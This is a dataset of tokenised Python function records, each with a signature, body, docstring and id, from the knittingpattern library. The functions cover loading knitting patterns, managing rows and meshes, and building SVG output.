{"signature": "@property<EOL><INDENT>def load(self):<DEDENT>", "body": "return self._loader_class(self._process_loaded_object)<EOL>", "docstring": ":return: a loader that can be used to load specifications\n        :rtype: knittingpattern.Loader.JSONLoader\n\n        A file to load is a list of instructions in JSON format.\n\n        .. code:: json\n\n            [\n                {\n                    \"type\" : \"knit\",\n                    \"another\" : \"attribute\"\n                },\n                {\n                    \"type\" : \"purl\"\n                }\n            ]", "id": "f509:c0:m3"}
{"signature": "def _process_loaded_object(self, obj):", "body": "for instruction in obj:<EOL><INDENT>self.add_instruction(instruction)<EOL><DEDENT>return self<EOL>", "docstring": "add the loaded instructions from :attr:`load`", "id": "f509:c0:m4"}
{"signature": "def add_instruction(self, specification):", "body": "instruction = self.as_instruction(specification)<EOL>self._type_to_instruction[instruction.type] = instruction<EOL>", "docstring": "Add an instruction specification\n\n        :param specification: a specification with a key\n          :data:`knittingpattern.Instruction.TYPE`\n\n        .. seealso:: :meth:`as_instruction`", "id": "f509:c0:m5"}
{"signature": "def as_instruction(self, specification):", "body": "instruction = self._instruction_class(specification)<EOL>type_ = instruction.type<EOL>if type_ in self._type_to_instruction:<EOL><INDENT>instruction.inherit_from(self._type_to_instruction[type_])<EOL><DEDENT>return instruction<EOL>", "docstring": "Convert the specification into an instruction\n\n        :param specification: a specification with a key\n          :data:`knittingpattern.Instruction.TYPE`\n\n        The instruction is not added.\n\n        .. seealso:: :meth:`add_instruction`", "id": "f509:c0:m6"}
{"signature": "def __getitem__(self, instruction_type):", "body": "return self.as_instruction({TYPE: instruction_type})<EOL>", "docstring": ":return: the specification for :paramref:`instruction_type`\n\n        .. seealso:: :meth:`as_instruction`", "id": "f509:c0:m7"}
{"signature": "@property<EOL><INDENT>def loaded_types(self):<DEDENT>", "body": "return list(self._type_to_instruction)<EOL>", "docstring": "The types loaded in this library.\n\n        :return: a list of types, preferably as :class:`string <str>`\n        :rtype: list", "id": "f509:c0:m8"}
{"signature": "def __init__(self):", "body": "super().__init__()<EOL>self.load.relative_folder(__file__, self.INSTRUCTIONS_FOLDER)<EOL>", "docstring": "Create the default instruction library without arguments.\n\n        The default specifications are loaded automatically form this package.", "id": "f509:c1:m0"}
{"signature": "@fixture<EOL>def a1(charlotte):", "body": "return charlotte.patterns[\"<STR_LIT>\"]<EOL>", "docstring": ":return: the pattern ``\"A.1\"`` in charlotte", "id": "f512:m1"}
{"signature": "@fixture<EOL>def a2(charlotte):", "body": "return charlotte.patterns[\"<STR_LIT>\"]<EOL>", "docstring": ":return: the pattern ``\"A.2\"`` in charlotte", "id": "f512:m2"}
{"signature": "@fixture(scope=\"<STR_LIT>\")<EOL>def coloring_pattern():", "body": "patterns = load_from_relative_file(__name__, \"<STR_LIT>\")<EOL>return patterns.patterns[\"<STR_LIT>\"]<EOL>", "docstring": "The pattern with one colored line and a uncolored line.", "id": "f513:m0"}
{"signature": "@fixture<EOL>def a1():", "body": "return _charlotte().patterns[\"<STR_LIT>\"]<EOL>", "docstring": ":return: the pattern ``\"A.1\"`` in charlotte", "id": "f524:m0"}
{"signature": "@fixture<EOL>def single_instruction_pattern_set():", "body": "return load_from_relative_file(HERE, \"<STR_LIT>\")<EOL>", "docstring": "Load the pattern set with only one instruction.", "id": "f527:m0"}
{"signature": "@fixture<EOL>def pattern(single_instruction_pattern_set):", "body": "return single_instruction_pattern_set.patterns[\"<STR_LIT>\"]<EOL>", "docstring": "The pattern which has only one instruction.", "id": "f527:m1"}
{"signature": "@fixture<EOL>def row(pattern):", "body": "return pattern.rows[<NUM_LIT:1>]<EOL>", "docstring": "The row with one instruction.", "id": "f527:m2"}
{"signature": "@fixture<EOL>def row2(pattern):", "body": "return pattern.rows[<NUM_LIT:2>]<EOL>", "docstring": "The row with one instruction.", "id": "f527:m3"}
{"signature": "@fixture<EOL>def instruction(row):", "body": "return row.instructions[<NUM_LIT:0>]<EOL>", "docstring": "The instruction.", "id": "f527:m4"}
{"signature": "@fixture<EOL>def instruction2(row2):", "body": "return row2.instructions[<NUM_LIT:0>]<EOL>", "docstring": "The instruction.", "id": "f527:m5"}
{"signature": "@fixture<EOL>def empty_row(row, instruction):", "body": "assert instruction<EOL>row.instructions.pop()<EOL>return row<EOL>", "docstring": "Now, there is no instruction any more.", "id": "f527:m6"}
{"signature": "def new_knitting_pattern_set_loader(specification=DefaultSpecification()):", "body": "parser = specification.new_parser(specification)<EOL>loader = specification.new_loader(parser.knitting_pattern_set)<EOL>return loader<EOL>", "docstring": "Create a loader for a knitting pattern set.\n\n    :param specification: a :class:`specification\n      <knittingpattern.ParsingSpecification.ParsingSpecification>`\n      for the knitting pattern set, default\n      :class:`DefaultSpecification`", "id": "f532:m0"}
{"signature": "def __init__(self,<EOL>new_loader=JSONLoader,<EOL>new_parser=Parser,<EOL>new_parsing_error=ParsingError,<EOL>new_pattern_set=KnittingPatternSet,<EOL>new_pattern_collection=IdCollection,<EOL>new_row_collection=IdCollection,<EOL>new_pattern=KnittingPattern,<EOL>new_row=Row,<EOL>new_default_instructions=DefaultInstructions,<EOL>new_instruction_in_row=InstructionInRow):", "body": "self.new_loader = new_loader<EOL>self.new_parser = new_parser<EOL>self.new_parsing_error = new_parsing_error<EOL>self.new_pattern_set = new_pattern_set<EOL>self.new_pattern_collection = new_pattern_collection<EOL>self.new_row_collection = new_row_collection<EOL>self.new_pattern = new_pattern<EOL>self.new_row = new_row<EOL>self.new_default_instructions = new_default_instructions<EOL>self.new_instruction_in_row = new_instruction_in_row<EOL>", "docstring": "Create a new parsing specification.", "id": "f532:c0:m0"}
{"signature": "def __init__(self):", "body": "super().__init__()<EOL>", "docstring": "Initialize the default specification with no arguments.", "id": "f532:c1:m0"}
{"signature": "@classmethod<EOL><INDENT>def __repr__(cls):<DEDENT>", "body": "return \"<STR_LIT>\".format(cls.__module__, cls.__qualname__)<EOL>", "docstring": "The string representation of the object.\n\n        :return: the string representation\n        :rtype: str", "id": "f532:c1:m1"}
{"signature": "def load_from():", "body": "from .ParsingSpecification import new_knitting_pattern_set_loader<EOL>return new_knitting_pattern_set_loader()<EOL>", "docstring": "Create a loader to load knitting patterns with.\n\n    :return: the loader to load objects with\n    :rtype: knittingpattern.Loader.JSONLoader\n\n    Example:\n\n    .. code:: python\n\n       import knittingpattern, webbrowser\n       k = knittingpattern.load_from().example(\"Cafe.json\")\n       webbrowser.open(k.to_svg(25).temporary_path(\".svg\"))", "id": "f534:m0"}
{"signature": "def load_from_object(object_):", "body": "return load_from().object(object_)<EOL>", "docstring": "Load a knitting pattern from an object.\n\n    :rtype: knittingpattern.KnittingPatternSet.KnittingPatternSet", "id": "f534:m1"}
{"signature": "def load_from_string(string):", "body": "return load_from().string(string)<EOL>", "docstring": "Load a knitting pattern from a string.\n\n    :rtype: knittingpattern.KnittingPatternSet.KnittingPatternSet", "id": "f534:m2"}
{"signature": "def load_from_file(file):", "body": "return load_from().file(file)<EOL>", "docstring": "Load a knitting pattern from a file-like object.\n\n    :rtype: knittingpattern.KnittingPatternSet.KnittingPatternSet", "id": "f534:m3"}
{"signature": "def load_from_path(path):", "body": "return load_from().path(path)<EOL>", "docstring": "Load a knitting pattern from a file behind located at `path`.\n\n    :rtype: knittingpattern.KnittingPatternSet.KnittingPatternSet", "id": "f534:m4"}
{"signature": "def load_from_url(url):", "body": "return load_from().url(url)<EOL>", "docstring": "Load a knitting pattern from a url.\n\n    :rtype: knittingpattern.KnittingPatternSet.KnittingPatternSet", "id": "f534:m5"}
{"signature": "def load_from_relative_file(module, path_relative_to):", "body": "return load_from().relative_file(module, path_relative_to)<EOL>", "docstring": "Load a knitting pattern from a path relative to a module.\n\n    :param str module: can be a module's file, a module's name or\n      a module's path.\n    :param str path_relative_to: is the path relative to the modules location.\n      The result is loaded from this.\n\n    :rtype: knittingpattern.KnittingPatternSet.KnittingPatternSet", "id": "f534:m6"}
{"signature": "def convert_from_image(colors=(\"<STR_LIT>\", \"<STR_LIT>\")):", "body": "from .convert.image_to_knittingpattern importconvert_image_to_knitting_pattern<EOL>return convert_image_to_knitting_pattern(colors=colors)<EOL>", "docstring": "Convert and image to a knitting pattern.\n\n    :return: a loader\n    :rtype: knittingpattern.Loader.PathLoader\n    :param tuple colors: the colors to convert to\n\n    .. code:: python\n\n        convert_from_image().path(\"pattern.png\").path(\"pattern.json\")\n        convert_from_image().path(\"pattern.png\").knitting_pattern()\n\n    .. seealso:: :mod:`knittingoattern.convert.image_to_knitting_pattern`", "id": "f534:m7"}
{"signature": "def new_knitting_pattern(id_, name=None):", "body": "knitting_pattern_set = new_knitting_pattern_set()<EOL>return knitting_pattern_set.add_new_pattern(id_, name)<EOL>", "docstring": "Create a new knitting pattern.\n\n    :return: a new empty knitting pattern.\n    :param id_: the id of the knitting pattern\n    :param name: the name of the knitting pattern or :obj:`None` if the\n      :paramref:`id_` should be used\n    :rtype: knittingpattern.KnittingPattern.KnittingPattern\n\n    .. seealso:: :meth:`KnittingPatternSet.add_new_pattern()\n      <knittingpattern.KnittingPatternSet.KnittingPatternSet.add_new_pattern>`", "id": "f534:m8"}
{"signature": "def new_knitting_pattern_set():", "body": "return load_from_object(EMPTY_KNITTING_PATTERN_SET)<EOL>", "docstring": "Create a new, empty knitting pattern set.\n\n    :rtype: knittingpattern.KnittingPatternSet.KnittingPatternSet\n    :return: a new, empty knitting pattern set", "id": "f534:m9"}
{"signature": "def __init__(self, row_id, values, parser):", "body": "super().__init__(values)<EOL>self._id = row_id<EOL>self._instructions = ObservableList()<EOL>self._instructions.register_observer(self._instructions_changed)<EOL>self._parser = parser<EOL>", "docstring": "Create a new row.\n\n        :param row_id: an identifier for the row\n        :param values: the values from the specification\n        :param list inheriting_from: a list of specifications to inherit values\n          from, see :class:`knittingpattern.Prototype.Prototype`\n\n        .. note:: Seldomly, you need to create this row on your own. You can\n          load it with the :mod:`knittingpattern` or the\n          :class:`knittingpattern.Parser.Parser`.", "id": "f535:c0:m0"}
{"signature": "def _instructions_changed(self, change):", "body": "if change.adds():<EOL><INDENT>for index, instruction in change.items():<EOL><INDENT>if isinstance(instruction, dict):<EOL><INDENT>in_row = self._parser.instruction_in_row(self, instruction)<EOL>self.instructions[index] = in_row<EOL><DEDENT>else:<EOL><INDENT>instruction.transfer_to_row(self)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Call when there is a change in the instructions.", "id": "f535:c0:m1"}
{"signature": "@property<EOL><INDENT>def id(self):<DEDENT>", "body": "return self._id<EOL>", "docstring": "The id of the row.\n\n        :return: the id of the row", "id": "f535:c0:m2"}
{"signature": "@property<EOL><INDENT>def instructions(self):<DEDENT>", "body": "return self._instructions<EOL>", "docstring": "The instructions in this row.\n\n        :return: a collection of :class:`instructions inside the row\n          <knittingpattern.Instruction.InstructionInRow>`\n        :rtype: ObservableList.ObservableList", "id": "f535:c0:m3"}
{"signature": "@property<EOL><INDENT>def number_of_produced_meshes(self):<DEDENT>", "body": "return sum(instruction.number_of_produced_meshes<EOL>for instruction in self.instructions)<EOL>", "docstring": "The number of meshes that this row produces.\n\n        :return: the number of meshes that this row produces\n        :rtype: int\n\n        .. seealso::\n          :meth:`Instruction.number_of_produced_meshes()\n          <knittingpattern.Instruction.Instruction.number_of_produced_meshes>`,\n          :meth:`number_of_consumed_meshes`", "id": "f535:c0:m4"}
{"signature": "@property<EOL><INDENT>def number_of_consumed_meshes(self):<DEDENT>", "body": "return sum(instruction.number_of_consumed_meshes<EOL>for instruction in self.instructions)<EOL>", "docstring": "The number of meshes that this row consumes.\n\n        :return: the number of meshes that this row consumes\n        :rtype: int\n\n        .. seealso::\n          :meth:`Instruction.number_of_consumed_meshes()\n          <knittingpattern.Instruction.Instruction.number_of_consumed_meshes>`,\n          :meth:`number_of_produced_meshes`", "id": "f535:c0:m5"}
{"signature": "@property<EOL><INDENT>def produced_meshes(self):<DEDENT>", "body": "return list(chain(*(instruction.produced_meshes<EOL>for instruction in self.instructions)))<EOL>", "docstring": "The meshes that this row produces with its instructions.\n\n        :return: a collection of :class:`meshes <knittingpattern.Mesh.Mesh>`\n          that this instruction produces", "id": "f535:c0:m6"}
{"signature": "@property<EOL><INDENT>def consumed_meshes(self):<DEDENT>", "body": "return list(chain(*(instruction.consumed_meshes<EOL>for instruction in self.instructions)))<EOL>", "docstring": "Same as :attr:`produced_meshes` but for consumed meshes.", "id": "f535:c0:m7"}
{"signature": "def __repr__(self):", "body": "return \"<STR_LIT>\".format(self.__class__.__qualname__, self.id)<EOL>", "docstring": "The string representation of this row.\n\n        :return: a string representation of this row\n        :rtype: str", "id": "f535:c0:m8"}
{"signature": "@property<EOL><INDENT>def color(self):<DEDENT>", "body": "return self.get(COLOR)<EOL>", "docstring": "The color of the row.\n\n        :return: the color of the row as specified or :obj:`None`", "id": "f535:c0:m9"}
{"signature": "@property<EOL><INDENT>def instruction_colors(self):<DEDENT>", "body": "return unique(instruction.colors for instruction in self.instructions)<EOL>", "docstring": "The colors of the instructions in the row in the order tehy appear.\n\n        :return: a list of colors of the knitting pattern in the order that\n          they appear in\n        :rtype: list", "id": "f535:c0:m10"}
{"signature": "@property<EOL><INDENT>def last_produced_mesh(self):<DEDENT>", "body": "for instruction in reversed(self.instructions):<EOL><INDENT>if instruction.produces_meshes():<EOL><INDENT>return instruction.last_produced_mesh<EOL><DEDENT><DEDENT>raise IndexError(\"<STR_LIT>\".format(self))<EOL>", "docstring": "The last produced mesh.\n\n        :return: the last produced mesh\n        :rtype: knittingpattern.Mesh.Mesh\n        :raises IndexError: if no mesh is produced\n\n        .. seealso:: :attr:`number_of_produced_meshes`", "id": "f535:c0:m11"}
{"signature": "@property<EOL><INDENT>def last_consumed_mesh(self):<DEDENT>", "body": "for instruction in reversed(self.instructions):<EOL><INDENT>if instruction.consumes_meshes():<EOL><INDENT>return instruction.last_consumed_mesh<EOL><DEDENT><DEDENT>raise IndexError(\"<STR_LIT>\".format(self))<EOL>", "docstring": "The last consumed mesh.\n\n        :return: the last consumed mesh\n        :rtype: knittingpattern.Mesh.Mesh\n        :raises IndexError: if no mesh is consumed\n\n        .. seealso:: :attr:`number_of_consumed_meshes`", "id": "f535:c0:m12"}
{"signature": "@property<EOL><INDENT>def first_produced_mesh(self):<DEDENT>", "body": "for instruction in self.instructions:<EOL><INDENT>if instruction.produces_meshes():<EOL><INDENT>return instruction.first_produced_mesh<EOL><DEDENT><DEDENT>raise IndexError(\"<STR_LIT>\".format(self))<EOL>", "docstring": "The first produced mesh.\n\n        :return: the first produced mesh\n        :rtype: knittingpattern.Mesh.Mesh\n        :raises IndexError: if no mesh is produced\n\n        .. seealso:: :attr:`number_of_produced_meshes`", "id": "f535:c0:m13"}
{"signature": "@property<EOL><INDENT>def first_consumed_mesh(self):<DEDENT>", "body": "for instruction in self.instructions:<EOL><INDENT>if instruction.consumes_meshes():<EOL><INDENT>return instruction.first_consumed_mesh<EOL><DEDENT><DEDENT>raise IndexError(\"<STR_LIT>\".format(self))<EOL>", "docstring": "The first consumed mesh.\n\n        :return: the first consumed mesh\n        :rtype: knittingpattern.Mesh.Mesh\n        :raises IndexError: if no mesh is consumed\n\n        .. seealso:: :attr:`number_of_consumed_meshes`", "id": "f535:c0:m14"}
{"signature": "@property<EOL><INDENT>def rows_before(self):<DEDENT>", "body": "rows_before = []<EOL>for mesh in self.consumed_meshes:<EOL><INDENT>if mesh.is_produced():<EOL><INDENT>row = mesh.producing_row<EOL>if rows_before not in rows_before:<EOL><INDENT>rows_before.append(row)<EOL><DEDENT><DEDENT><DEDENT>return rows_before<EOL>", "docstring": "The rows that produce meshes for this row.\n\n        :rtype: list\n        :return: a list of rows that produce meshes for this row. Each row\n          occurs only once. They are sorted by the first occurrence in the\n          instructions.", "id": "f535:c0:m15"}
{"signature": "@property<EOL><INDENT>def rows_after(self):<DEDENT>", "body": "rows_after = []<EOL>for mesh in self.produced_meshes:<EOL><INDENT>if mesh.is_consumed():<EOL><INDENT>row = mesh.consuming_row<EOL>if rows_after not in rows_after:<EOL><INDENT>rows_after.append(row)<EOL><DEDENT><DEDENT><DEDENT>return rows_after<EOL>", "docstring": "The rows that consume meshes from this row.\n\n        :rtype: list\n        :return: a list of rows that consume meshes from this row. Each row\n          occurs only once. They are sorted by the first occurrence in the\n          instructions.", "id": "f535:c0:m16"}
{"signature": "@property<EOL><INDENT>def first_instruction(self):<DEDENT>", "body": "return self.instructions[<NUM_LIT:0>]<EOL>", "docstring": "The first instruction of the rows instructions.\n\n        :rtype: knittingpattern.Instruction.InstructionInRow\n        :return: the first instruction in this row's :attr:`instructions`", "id": "f535:c0:m17"}
{"signature": "@property<EOL><INDENT>def last_instruction(self):<DEDENT>", "body": "return self.instructions[-<NUM_LIT:1>]<EOL>", "docstring": "The last instruction of the rows instructions.\n\n        :rtype: knittingpattern.Instruction.InstructionInRow\n        :return: the last instruction in this row's :attr:`instructions`", "id": "f535:c0:m18"}
{"signature": "def __init__(self, knittingpattern, layout, instruction_to_svg, builder,<EOL>zoom):", "body": "self._knittingpattern = knittingpattern<EOL>self._layout = layout<EOL>self._instruction_to_svg = instruction_to_svg<EOL>self._builder = builder<EOL>self._zoom = zoom<EOL>self._instruction_type_color_to_symbol = OrderedDict()<EOL>self._symbol_id_to_scale = {}<EOL>", "docstring": ":param knittingpattern.KnittingPattern.KnittingPattern knittingpattern:\n  a knitting pattern\n:param knittingpattern.convert.Layout.GridLayout layout:\n:param instruction_to_svg: an\n  :class:`~knittingpattern.convert.InstructionToSVG.InstructionToSVG`\n  :class:`\n  ~knittingpattern.convert.InstructionToSVGCache.InstructionSVGCache`,\n  both with instructions already loaded.\n:param knittingpattern.convert.SVGBuilder.SVGBuilder builder:\n:param float zoom: the height and width of a knit instruction", "id": "f536:c0:m0"}
{"signature": "def build_SVG_dict(self):", "body": "zoom = self._zoom<EOL>layout = self._layout<EOL>builder = self._builder<EOL>bbox = list(map(lambda f: f * zoom, layout.bounding_box))<EOL>builder.bounding_box = bbox<EOL>flip_x = bbox[<NUM_LIT:2>] + bbox[<NUM_LIT:0>] * <NUM_LIT:2><EOL>flip_y = bbox[<NUM_LIT:3>] + bbox[<NUM_LIT:1>] * <NUM_LIT:2><EOL>instructions = list(layout.walk_instructions(<EOL>lambda i: (flip_x - (i.x + i.width) * zoom,<EOL>flip_y - (i.y + i.height) * zoom,<EOL>i.instruction)))<EOL>instructions.sort(key=lambda x_y_i: x_y_i[<NUM_LIT:2>].render_z)<EOL>for x, y, instruction in instructions:<EOL><INDENT>render_z = instruction.render_z<EOL>z_id = (\"<STR_LIT>\" if not render_z else \"<STR_LIT>\".format(render_z))<EOL>layer_id = \"<STR_LIT>\".format(instruction.row.id, z_id)<EOL>def_id = self._register_instruction_in_defs(instruction)<EOL>scale = self._symbol_id_to_scale[def_id]<EOL>group = {<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\".format(instruction.id),<EOL>\"<STR_LIT>\": \"<STR_LIT>\".format(<EOL>x, y, scale)<EOL>}<EOL>builder.place_svg_use(def_id, layer_id, group)<EOL><DEDENT>builder.insert_defs(self._instruction_type_color_to_symbol.values())<EOL>return builder.get_svg_dict()<EOL>", "docstring": "Go through the layout and build the SVG.\n\n        :return: an xml dict that can be exported using a\n          :class:`~knittingpattern.Dumper.XMLDumper`\n        :rtype: dict", "id": "f536:c0:m1"}
{"signature": "def _register_instruction_in_defs(self, instruction):", "body": "type_ = instruction.type<EOL>color_ = instruction.color<EOL>instruction_to_svg_dict =self._instruction_to_svg.instruction_to_svg_dict<EOL>instruction_id = \"<STR_LIT>\".format(type_, color_)<EOL>defs_id = instruction_id + \"<STR_LIT>\"<EOL>if instruction_id not in self._instruction_type_color_to_symbol:<EOL><INDENT>svg_dict = instruction_to_svg_dict(instruction)<EOL>self._compute_scale(instruction_id, svg_dict)<EOL>symbol = self._make_definition(svg_dict, instruction_id)<EOL>self._instruction_type_color_to_symbol[defs_id] =symbol[DEFINITION_HOLDER].pop(\"<STR_LIT>\", {})<EOL>self._instruction_type_color_to_symbol[instruction_id] = symbol<EOL><DEDENT>return instruction_id<EOL>", "docstring": "Create a definition for the instruction.\n\n        :return: the id of a symbol in the defs for the specified\n          :paramref:`instruction`\n        :rtype: str\n\n        If no symbol yet exists in the defs for the :paramref:`instruction` a\n        symbol is created and saved using :meth:`_make_symbol`.", "id": "f536:c0:m2"}
{"signature": "def _make_definition(self, svg_dict, instruction_id):", "body": "instruction_def = svg_dict[\"<STR_LIT>\"]<EOL>blacklisted_elements = [\"<STR_LIT>\", \"<STR_LIT>\"]<EOL>whitelisted_attributes = [\"<STR_LIT>\"]<EOL>symbol = OrderedDict({\"<STR_LIT>\": instruction_id})<EOL>for content, value in instruction_def.items():<EOL><INDENT>if content.startswith('<STR_LIT:@>'):<EOL><INDENT>if content in whitelisted_attributes:<EOL><INDENT>symbol[content] = value<EOL><DEDENT><DEDENT>elif content not in blacklisted_elements:<EOL><INDENT>symbol[content] = value<EOL><DEDENT><DEDENT>return {DEFINITION_HOLDER: symbol}<EOL>", "docstring": "Create a symbol out of the supplied :paramref:`svg_dict`.\n\n        :param dict svg_dict: dictionary containing the SVG for the\n          instruction currently processed\n        :param str instruction_id: id that will be assigned to the symbol", "id": "f536:c0:m3"}
{"signature": "def _compute_scale(self, instruction_id, svg_dict):", "body": "bbox = list(map(float, svg_dict[\"<STR_LIT>\"][\"<STR_LIT>\"].split()))<EOL>scale = self._zoom / (bbox[<NUM_LIT:3>] - bbox[<NUM_LIT:1>])<EOL>self._symbol_id_to_scale[instruction_id] = scale<EOL>", "docstring": "Compute the scale of an instruction svg.\n\n        Compute the scale using the bounding box stored in the\n        :paramref:`svg_dict`. The scale is saved in a dictionary using\n        :paramref:`instruction_id` as key.\n\n        :param str instruction_id: id identifying a symbol in the defs\n        :param dict svg_dict: dictionary containing the SVG for the\n          instruction currently processed", "id": "f536:c0:m4"}
{"signature": "def __init__(self):", "body": "self._structure = xmltodict.parse(SVG_FILE)<EOL>self._layer_id_to_layer = {}<EOL>self._svg = self._structure[\"<STR_LIT>\"]<EOL>self._min_x = None<EOL>self._min_y = None<EOL>self._max_x = None<EOL>self._max_y = None<EOL>", "docstring": "Initialize this object without arguments.", "id": "f537:c0:m0"}
{"signature": "@property<EOL><INDENT>def bounding_box(self):<DEDENT>", "body": "return (self._min_x, self._min_y, self._max_x, self._max_y)<EOL>", "docstring": "the bounding box of this SVG\n        ``(min_x, min_y, max_x, max_y)``.\n\n        .. code:: python\n\n            svg_builder10x10.bounding_box = (0, 0, 10, 10)\n            assert svg_builder10x10.bounding_box == (0, 0, 10, 10)\n\n        ``viewBox``, ``width`` and ``height`` are computed from this.\n\n        If the bounding box was never set, the result is a tuple of four\n        :obj:`None`.", "id": "f537:c0:m1"}
{"signature": "def place(self, x, y, svg, layer_id):", "body": "content = xmltodict.parse(svg)<EOL>self.place_svg_dict(x, y, content, layer_id)<EOL>", "docstring": "Place the :paramref:`svg` content at ``(x, y)`` position\n        in the SVG, in a layer with the id :paramref:`layer_id`.\n\n        :param float x: the x position of the svg\n        :param float y: the y position of the svg\n        :param str svg: the SVG to place at ``(x, y)``\n        :param str layer_id: the id of the layer that this\n          :paramref:`svg` should be placed inside", "id": "f537:c0:m3"}
{"signature": "def place_svg_dict(self, x, y, svg_dict, layer_id, group=None):", "body": "if group is None:<EOL><INDENT>group = {}<EOL><DEDENT>group_ = {<EOL>\"<STR_LIT>\": \"<STR_LIT>\".format(x, y),<EOL>\"<STR_LIT:g>\": list(svg_dict.values())<EOL>}<EOL>group_.update(group)<EOL>layer = self._get_layer(layer_id)<EOL>layer[\"<STR_LIT:g>\"].append(group_)<EOL>", "docstring": "Same as :meth:`place` but with a dictionary as :paramref:`svg_dict`.\n\n        :param dict svg_dict: a dictionary returned by `xmltodict.parse()\n          <https://github.com/martinblech/xmltodict>`__\n        :param dict group: a dictionary of values to add to the group the\n          :paramref:`svg_dict` will be added to or :obj:`None` if nothing\n          should be added", "id": "f537:c0:m4"}
{"signature": "def place_svg_use_coords(self, x, y, symbol_id, layer_id, group=None):", "body": "if group is None:<EOL><INDENT>group = {}<EOL><DEDENT>use = {\"<STR_LIT>\": x, \"<STR_LIT>\": y, \"<STR_LIT>\": \"<STR_LIT>\".format(symbol_id)}<EOL>group_ = {\"<STR_LIT>\": use}<EOL>group_.update(group)<EOL>layer = self._get_layer(layer_id)<EOL>layer[\"<STR_LIT:g>\"].append(group_)<EOL>", "docstring": "Similar to :meth:`place` but with an id as :paramref:`symbol_id`.\n\n        :param str symbol_id: an id which identifies an svg object defined in\n          the defs\n        :param dict group: a dictionary of values to add to the group the\n          use statement will be added to or :obj:`None` if nothing\n          should be added", "id": "f537:c0:m5"}
{"signature": "def place_svg_use(self, symbol_id, layer_id, group=None):", "body": "self.place_svg_use_coords(<NUM_LIT:0>, <NUM_LIT:0>, symbol_id, layer_id, group)<EOL>", "docstring": "Same as :meth:`place_svg_use_coords`.\n\n        With implicit `x`  and `y` which are set to `0` in this method and then\n        :meth:`place_svg_use_coords` is called.", "id": "f537:c0:m6"}
{"signature": "def _get_layer(self, layer_id):", "body": "if layer_id not in self._layer_id_to_layer:<EOL><INDENT>self._svg.setdefault(\"<STR_LIT:g>\", [])<EOL>layer = {<EOL>\"<STR_LIT:g>\": [],<EOL>\"<STR_LIT>\": layer_id,<EOL>\"<STR_LIT>\": layer_id,<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": \"<STR_LIT>\"<EOL>}<EOL>self._layer_id_to_layer[layer_id] = layer<EOL>self._svg[\"<STR_LIT:g>\"].append(layer)<EOL><DEDENT>return self._layer_id_to_layer[layer_id]<EOL>", "docstring": ":return: the layer with the :paramref:`layer_id`. If the layer\n  does not exist, it is created.\n:param str layer_id: the id of the layer", "id": "f537:c0:m7"}
{"signature": "def insert_defs(self, defs):", "body": "if self._svg[\"<STR_LIT>\"] is None:<EOL><INDENT>self._svg[\"<STR_LIT>\"] = {}<EOL><DEDENT>for def_ in defs:<EOL><INDENT>for key, value in def_.items():<EOL><INDENT>if key.startswith(\"<STR_LIT:@>\"):<EOL><INDENT>continue<EOL><DEDENT>if key not in self._svg[\"<STR_LIT>\"]:<EOL><INDENT>self._svg[\"<STR_LIT>\"][key] = []<EOL><DEDENT>if not isinstance(value, list):<EOL><INDENT>value = [value]<EOL><DEDENT>self._svg[\"<STR_LIT>\"][key].extend(value)<EOL><DEDENT><DEDENT>", "docstring": "Adds the defs to the SVG structure.\n\n        :param defs: a list of SVG dictionaries, which contain the defs,\n          which should be added to the SVG structure.", "id": "f537:c0:m8"}
{"signature": "def get_svg_dict(self):", "body": "return self._structure<EOL>", "docstring": "Return the SVG structure generated.", "id": "f537:c0:m9"}
{"signature": "def write_to_file(self, file):", "body": "xmltodict.unparse(self._structure, file, pretty=True)<EOL>", "docstring": "Writes the current SVG to the :paramref:`file`.\n\n        :param file: a file-like object", "id": "f537:c0:m10"}
{"signature": "def load_and_dump(create_loader, create_dumper, load_and_dump_):", "body": "@wraps(load_and_dump_)<EOL>def load_and_dump__(*args1, **kw):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>def load(*args2):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>def dump(*args3):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return load_and_dump_(*(args2 + args3 + args1), **kw)<EOL><DEDENT>return create_dumper(dump)<EOL><DEDENT>return create_loader(load)<EOL><DEDENT>return load_and_dump__<EOL>", "docstring": ":return: a function that has the doc string of\n      :paramref:`load_and_dump_`\n      additional arguments to this function are passed on to\n      :paramref:`load_and_dump_`.\n\n    :param create_loader: a loader, e.g.\n      :class:`knittingpattern.Loader.PathLoader`\n    :param create_dumper: a dumper, e.g.\n      :class:`knittingpattern.Dumper.ContentDumper`\n    :param load_and_dump_: a function to call with the loaded content.\n      The arguments to both, :paramref:`create_dumper` and,\n      :paramref:`create_loader`\n      will be passed to :paramref:`load_and_dump_`.\n      Any additional arguments to the return value are also passed to\n      :paramref:`load_and_dump_`.\n      The return value of :paramref:`load_and_dump_` is passed back to the\n      :paramref:`Dumper`.\n\n    .. seealso:: :func:`decorate_load_and_dump`", "id": "f538:m0"}
{"signature": "def decorate_load_and_dump(create_loader, create_dumper):", "body": "return lambda func: load_and_dump(create_loader, create_dumper, func)<EOL>", "docstring": "Same as :func:`load_and_dump` but returns a function to enable decorator\n    syntax.\n\n    Examples:\n\n    .. code:: Python\n\n        @decorate_load_and_dump(ContentLoader, JSONDumper)\n        def convert_from_loader_to_dumper(loaded_stuff, other=\"arguments\"):\n            # convert\n            return converted_stuff\n\n        @decorate_load_and_dump(PathLoader, lambda dump: ContentDumper(dump,\n            encoding=None))\n        def convert_from_loader_to_dumper(loaded_stuff, to_file):\n            # convert\n            to_file.write(converted_stuff)", "id": "f538:m1"}
{"signature": "def title(content):", "body": "if isinstance(content, str):<EOL><INDENT>return re.findall(\"<STR_LIT>\", content)[-<NUM_LIT:1>]<EOL><DEDENT>return content.title.cdata<EOL>", "docstring": "returns the title of the svg", "id": "f545:m0"}
{"signature": "def coordinates(layout):", "body": "return list(layout.walk_instructions(lambda point: (point.x, point.y)))<EOL>", "docstring": "The coordinates of the layout.", "id": "f549:m0"}
{"signature": "def sizes(layout):", "body": "return list(layout.walk_instructions(lambda p: (p.width, p.height)))<EOL>", "docstring": "The sizes of the instructions of the layout.", "id": "f549:m1"}
{"signature": "def instructions(layout):", "body": "return list(layout.walk_instructions(lambda point: point.instruction))<EOL>", "docstring": "The instructions of the layout.", "id": "f549:m2"}
